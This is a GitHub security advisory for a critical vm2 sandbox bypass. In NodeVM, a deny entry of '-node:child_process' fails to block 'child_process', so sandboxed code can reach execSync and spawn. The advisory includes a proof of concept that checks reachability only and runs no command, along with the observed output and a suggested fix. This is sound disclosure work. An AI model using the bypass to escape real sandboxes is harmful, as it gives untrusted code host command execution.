GitHub Advisoryadvisory · npm
GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
CRITICAL
Official page ↗
- Aliases
- CVE-2026-92957
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-269, CWE-284
- Reviewed
- 2026-10-01
Affected packages
• npm vm2: < 3.11.7 → fixed in 3.11.7
Description
Summary
NodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
```js
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
```
does not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
```js
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
```
This affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.
Affected Files / Functions
• `lib/builtin.js`
• `makeBuiltinsFromLegacyOptions`
• wildcard builtin expansion
• exact negative entry check: `builtins.indexOf(\`-${name}\`)`
• `addDefaultBuiltin`
• `lib/resolver.js`
• `Resolver.resolve`
• `lib/setup-node-sandbox.js`
• `requireImpl`
• `node:` prefix stripping before builtin load
Root Cause
`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:
```js
if (localStringPrototypeStartsWith(filename, 'node:')) {
id = localStringPrototypeSlice(filename, 5);
let nmod = cacheBuiltins[id];
if (!nmod) {
nmod = loadBuiltinModule(id);
if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
cacheBuiltins[id] = nmod;
}
return nmod;
}
```
But `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:
```js
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
```
`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
• sandbox -> host `child_process` builtin
• sandbox -> host process-spawning function references
Impact
Confirmed impact:
• `require('child_process')` succeeds inside the sandbox.
• `require('node:child_process')` succeeds inside the sandbox.
• The returned module exposes `execSync` and `spawn` as functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
Safe Local Reproduction
Tested on Node.js `v24.14.0`.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
```js
'use strict';
const { NodeVM } = require('./');
function probe(builtin) {
const vm = new NodeVM({
require: {
builtin
}
});
return vm.run(`
const out = {};
for (const spec of ['child_process', 'node:child_process']) {
try {
const cp = require(spec);
out[spec] = {
loaded: true,
execSyncType: typeof cp.execSync,
spawnType: typeof cp.spawn,
moduleToStringTag: Object.prototype.toString.call(cp)
};
} catch (e) {
out[spec] = {
loaded: false,
name: e && e.name,
code: e && e.code,
message: e && e.message
};
}
}
module.exports = out;
`);
}
console.log(JSON.stringify({
nodeVersion: process.version,
denyNodePrefixed: probe(['*', '-node:child_process']),
denyCanonical: probe(['*', '-child_process'])
}, null, 2));
```
Observed result:
```json
{
"nodeVersion": "v24.14.0",
"denyNodePrefixed": {
"child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
},
"node:child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
}
},
"denyCanonical": {
"child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'child_process'"
},
"node:child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'node:child_process'"
}
}
}
```
Expected Secure Behavior
`-node:child_process` and `-child_process` should be equivalent.
If either spelling is denied, both of these should fail:
```js
require('child_process')
require('node:child_process')
```
Suggested Fix
1. Canonicalize builtin names before allow/deny comparison:
• Strip `node:` from user-provided builtin entries.
• Preserve whether an entry is negative (`-...`) before canonicalizing.
• Store and compare one canonical builtin key.
2. Apply the same normalization to:
• wildcard negative entries
• explicit allowlist entries
• object-form builtin entries
• mock/override keys if they are intended to support `node:` spelling
3. Add regression tests:
• `builtin: ['*', '-node:child_process']` blocks `child_process`.
• `builtin: ['*', '-node:child_process']` blocks `node:child_process`.
• `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`.
• `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently.
• Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.
Related
Alias · CVE (1)
- CVE-2026-92957 vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM… vulnerability
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j web
- https://nvd.nist.gov/vuln/detail/CVE-2026-92957 advisory
- https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e web
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7 web
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix web